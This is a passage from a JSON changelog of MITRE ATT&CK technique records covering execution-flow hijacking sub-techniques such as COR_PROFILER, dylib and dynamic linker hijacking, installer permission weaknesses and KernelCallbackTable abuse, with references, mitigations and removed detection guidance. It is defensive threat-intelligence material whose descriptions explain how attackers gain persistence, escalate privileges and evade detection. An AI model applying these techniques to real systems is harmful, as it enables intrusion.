Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\\n-\\n-Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n-\\n-Monitor for changes to environment variables, as well as the commands to implement these changes.\\n-\\n-Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\\n-\\n-Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance",
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions",
"M1038: Execution Prevention",
"M1040: Behavior Prevention on Endpoint",
"M1044: Restrict Library Loading",
"M1047: Audit",
"M1051: Update Software",
"M1052: User Account Control"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Metadata)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0218: Detection Strategy for Hijack Execution Flow across OS platforms."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-24 22:30:55.843000+00:00",
"modified": "2025-10-24 17:49:40.510000+00:00",
"name": "COR_PROFILER",
"description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/012",
"external_id": "T1574.012"
},
{
"source_name": "Microsoft Profiling Mar 2017",
"description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.",
"url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview"
},
{
"source_name": "Microsoft COR_PROFILER Feb 2013",
"description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.",
"url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)"
},
{
"source_name": "RedCanary Mockingbird May 2020",
"description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.",
"url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/"
},
{
"source_name": "Red Canary COR_PROFILER May 2020",
"description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.",
"url": "https://redcanary.com/blog/cor_profiler-for-persistence/"
},
{
"source_name": "Almond COR_PROFILER Apr 2019",
"description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.",
"url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html"
},
{
"source_name": "GitHub OmerYa Invisi-Shell",
"description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.",
"url": "https://github.com/OmerYa/Invisi-Shell"
},
{
"source_name": "subTee .NET Profilers May 2017",
"description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.",
"url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jesse Brown, Red Canary"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.510000+00:00\", \"old_value\": \"2025-04-25 14:48:41.257000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1024: Restrict Registry Permissions",
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0479: Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-16 15:23:30.896000+00:00",
"modified": "2025-10-24 17:49:39.243000+00:00",
"name": "Dylib Hijacking",
"description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/004",
"external_id": "T1574.004"
},
{
"source_name": "MalwareUnicorn macOS Dylib Injection MachO",
"description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.",
"url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5"
},
{
"source_name": "Apple Developer Doco Archive Run-Path",
"description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html"
},
{
"source_name": "Wardle Dylib Hijacking OSX 2015",
"description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.",
"url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf"
},
{
"source_name": "Writing Bad Malware for OSX",
"description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
"url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
},
{
"source_name": "Wardle Dylib Hijack Vulnerable Apps",
"description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.",
"url": "https://objective-see.com/blog/blog_0x46.html"
},
{
"source_name": "wardle artofmalware volume1",
"description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved November 17, 2024.",
"url": "https://taomm.org/vol1/read.html"
},
{
"source_name": "Github EmpireProject HijackScanner",
"description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.",
"url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py"
},
{
"source_name": "Github EmpireProject CreateHijacker Dylib",
"description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.",
"url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"File: File Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.243000+00:00\", \"old_value\": \"2025-04-15 19:59:24.300000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \\n\\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \\n-\\n-Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0011: Module (Module Load)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0152: Detection Strategy for Hijack Execution Flow: Dylib Hijacking"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 20:09:59.569000+00:00",
"modified": "2025-10-24 17:48:51.810000+00:00",
"name": "Dynamic Linker Hijacking",
"description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/006",
"external_id": "T1574.006"
},
{
"source_name": "Apple Doco Archive Dynamic Libraries",
"description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
},
{
"source_name": "Baeldung LD_PRELOAD",
"description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.",
"url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"
},
{
"source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
"description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.",
"url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
},
{
"source_name": "Intezer Symbiote 2022",
"description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
"url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
},
{
"source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
"description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.",
"url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"
},
{
"source_name": "Man LD.SO",
"description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.",
"url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"
},
{
"source_name": "Elastic Security Labs Pumakit 2024",
"description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.",
"url": "https://www.elastic.co/security-labs/declawing-pumakit"
},
{
"source_name": "TLDP Shared Libraries",
"description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.",
"url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
},
{
"source_name": "Timac DYLD_INSERT_LIBRARIES",
"description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.",
"url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"
},
{
"source_name": "ESET Ebury Oct 2017",
"description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.",
"url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"Module: Module Load\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.810000+00:00\", \"old_value\": \"2025-04-15 19:58:36.147000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\\n\\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\\n-\\n-Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration",
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0435: Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 11:12:18.558000+00:00",
"modified": "2025-10-24 17:48:56.875000+00:00",
"name": "Executable Installer File Permissions Weakness",
"description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/005",
"external_id": "T1574.005"
},
{
"source_name": "mozilla_sec_adv_2012",
"description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
"url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
},
{
"source_name": "Executable Installers are Vulnerable",
"description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
"url": "https://seclists.org/fulldisclosure/2015/Dec/34"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Travis Smith, Tripwire",
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Service: Service Metadata\", \"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.875000+00:00\", \"old_value\": \"2025-04-15 19:58:41.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n-\\n-Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit",
"M1052: User Account Control"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0019: Service (Service Metadata)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0038: Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-02-25 15:27:44.927000+00:00",
"modified": "2025-10-24 17:49:11.077000+00:00",
"name": "KernelCallbackTable",
"description": "Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/013",
"external_id": "T1574.013"
},
{
"source_name": "FinFisher exposed ",
"description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.",
"url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
},
{
"source_name": "NtQueryInformationProcess",
"description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022.",
"url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess"
},
{
"source_name": "Windows Process Injection KernelCallbackTable",
"description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.",
"url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/"
},
{
"source_name": "Lazarus APT January 2022",
